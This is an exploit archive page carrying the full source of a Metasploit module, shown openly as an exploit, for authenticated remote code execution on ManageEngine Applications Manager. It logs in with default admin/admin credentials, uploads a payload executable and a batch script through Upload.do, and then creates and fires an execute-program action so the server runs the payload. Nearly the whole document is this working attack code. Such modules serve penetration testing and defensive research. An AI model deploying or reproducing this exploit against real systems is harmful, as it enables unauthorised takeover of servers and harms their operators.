what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ManageEngine Applications Manager Authenticated Code Execution

ManageEngine Applications Manager Authenticated Code Execution
Posted Apr 9, 2011
Authored by Jacob Giannantonio | Site metasploit.com

This Metasploit module logs into the Manage Engine Applications Manager to upload a payload to the file system and a batch script that executes the payload.

tags | exploit
SHA-256 | d0de2338e225568fa87b48799b6a4687b89eae9e5646617a2dfba1a017b0dffd

ManageEngine Applications Manager Authenticated Code Execution

Change Mirror Download
##
# $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'ManageEngine Applications Manager Authenticated Code Execution',
'Version' => '$Revision: 12281 $',
'Description' => %q{
This module logs into the Manage Engine Appplications Manager to upload a
payload to the file system and a batch script that executes the payload. },
'Author' => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
'Platform' => 'win',
'Targets' =>
[
['Automatic',{}],
],
'DefaultTarget' => 0
)

register_options(
[ Opt::RPORT(9090),
OptString.new('URI', [false, "URI for Applications Manager", '/']),
OptString.new('USER', [false, "username", 'admin']),
OptString.new('PASS', [false, "password", 'admin']),
], self.class)
end
def target_url
"http://#{rhost}:#{rport}#{datastore['URI']}"
end
def exploit
# Make initial request to get assigned a session token
cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
cookie << "am_username=;am_check="
begin
print_status "#{target_url} Applications Manager - Requesting Session Token"
res = send_request_cgi({
'method'=> 'GET',
'uri' => "#{target_url}/webclient/common/jsp/home.jsp",
'cookie' => cookie.to_s
}, 20)

if !res
print_error("Request to #{target_host} failed")
return
end

if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
cookie << "; #{$1}"
print_good("Assigned #{$1}")
else
print_error("Initial request failed: http error #{res.code}")
return
end

rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end

# send cookie to index.do
begin
print_status "Sending session token to #{target_url}/index.do"
res = send_request_raw({
'method' => 'GET',
'uri' => "#{target_url}/index.do",
'cookie' => cookie
}, 20)

if !res || res.code != 200
print_error("Request to #{target_url} failed")
end

rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/index.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end

# Log in with the assigned session token
post_data = "clienttype2=html&j_username="
post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
post_data << "j_password="
post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/j_security_check",
'cookie' => cookie,
'data' => post_data.to_s
}, 20)

if !res
print_error("Request to #{target_url} Failed")
end
# Server responds with a 302 redirect when the login is successful and
# HTTP 200 for a failed login
if res and res.code == 302
print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
else
print_error("Failed to log into #{target_url}")
return
end

rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/j_security_check failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# initial request to upload.do
# I think this is required to upload content later on.
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'cookie'=> cookie,
'data' => post_data
}, 20)

if !res
print_error("HTTP request to #{target_url} Failed")
end

rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do Failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end

# Transfer the payload executable via POST request to Upload.do
boundary = rand_text_numeric(11)
payload_file = "#{rand_text_alphanumeric(20)}.exe"
lines = "-----------------------------#{boundary}"
content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
content_disposition << "filename=\"#{payload_file}\"\r\n"
post_data = lines + "\r\n" + content_disposition.to_s
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
post_data << "#{generate_payload_exe}\r\n\r\n"
post_data << lines + "\r\nContent-Disposition: form-data; "
post_data << "name=\"uploadDir\"\r\n\r\n"
post_data << ".\/\r\n#{lines}--\r\n"

begin
referer = "http://#{target_url}/Upload.do"
res = send_request_raw({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'headers' => { 'Referer' => referer,
'cookie' => "#{cookie}\r\nContent-Type: " +
"multipart/form-data; " +
"boundary=---------------------------#{boundary}",
'Content-Length' => post_data.length},
'data' => post_data
}, 20)

if !res
print_error("Request to #{target_url} failed")
end

if res and res.code == 200
print_good("Uploaded payload #{payload_file}")
else
print_error("Response HTTP #{res.code} and HTTP 302 expected")
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end
# Transfer the batch sript via POST request to Upload.do
# The server will eventually call the batch script, which will call the payload.exe
boundary = rand_text_numeric(11)
bat_file = "#{rand_text_alphanumeric(20)}.bat"
lines = "-----------------------------#{boundary}"
content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
content_disposition << "filename=\"#{bat_file}\"\r\n"
post_data = lines + "\r\n" + content_disposition.to_s
post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
post_data << "g\\#{payload_file}\"\r\n\r\n"
post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
post_data << "\r\n\r\n"
post_data << ".\/\r\n#{lines}--\r\n"

begin
referer = "#{target_url}/Upload.do"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/Upload.do",
'headers' => { 'Referer' => referer,
'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
"boundary=---------------------------#{boundary}",
'Content-Length' => post_data.length},
'data' => post_data
}, 20)

if !res
print_error("HTTP request to #{target_url} failed")
return
end

if res and res.code == 200
print_good("Uploaded #{bat_file} to execute #{payload_file}")
end

rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
print_error("Request to #{target_url}/Upload.do failed")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end

action_name = "#{rand_text_alphanumeric(20)}"
post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
post_data << "bortafter=10&cancel=false"

# This client request is necessary because it sends a request to the server
# specifying that we are interested in executing the batch script. If
# successful, the server response body will contain an actionID that is
# used to tell the server to execute the script.
begin
referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{target_url}/adminAction.do",
'headers' => { 'Referer' => referer,
'cookie' => cookie,
'Content-Type' => "application/x-www-form-urlencoded",
'Content-Length' => post_data.to_s.length},
'data' => post_data.to_s
}, 20)

if !res
print_error("Request to #{target_host} failed")
end

# We are parsing the response in order to determine the correct actionID.
# My solution for doing this is to iterate through the HTTP response one
# line at a time. The correct actionID always comes up several lines
# after reading the name of the batch file 3 times. Even if other batch
# files are mixed up in the list of actions to execute, ours is always
# the next one after reading the batch file name 3 times

if res and (res.code == 302 || res.code == 200)
action_id = 0
x = 0
res.body.each_line do |k|
k.strip!
if((k =~ /&actionID=(\d{8})/) && (x == 3))
action_id = $1
break;
elsif((k =~ /#{bat_file}/) && (x < 3))
x+=1
end
end
else
print_error("HTTP error #{res.code} and HTTP 302 expected")
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("HTTP request to #{target_url}/adminAction.do ")
return
rescue ::Timeout::Error, ::Errno::EPIPE
return
end

begin
referer = "#{target_url}/common/executeScript.do?"
referer << "method=testAction&actionID=#{action_id}&haid=null"
print_good("Requesting to execute batch file with actionID #{action_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{target_url}/common/executeScript.do?method=testAction&" +
"actionID=#{action_id}&haid=null",
'headers' => { 'Referer' => referer,
'cookie' => "executeProgramActionTable_sortcol=1; " +
"executeProgramActionTable_sortdir=down; " +
"#{cookie}; executeProgramActionTable_" +
"sortdir=down; executeProgramActionTable_sortcol=1",
'Content-Type' => "application/x-www-form-urlencoded"}
}, 20)

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Request to execute the actionID failed")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close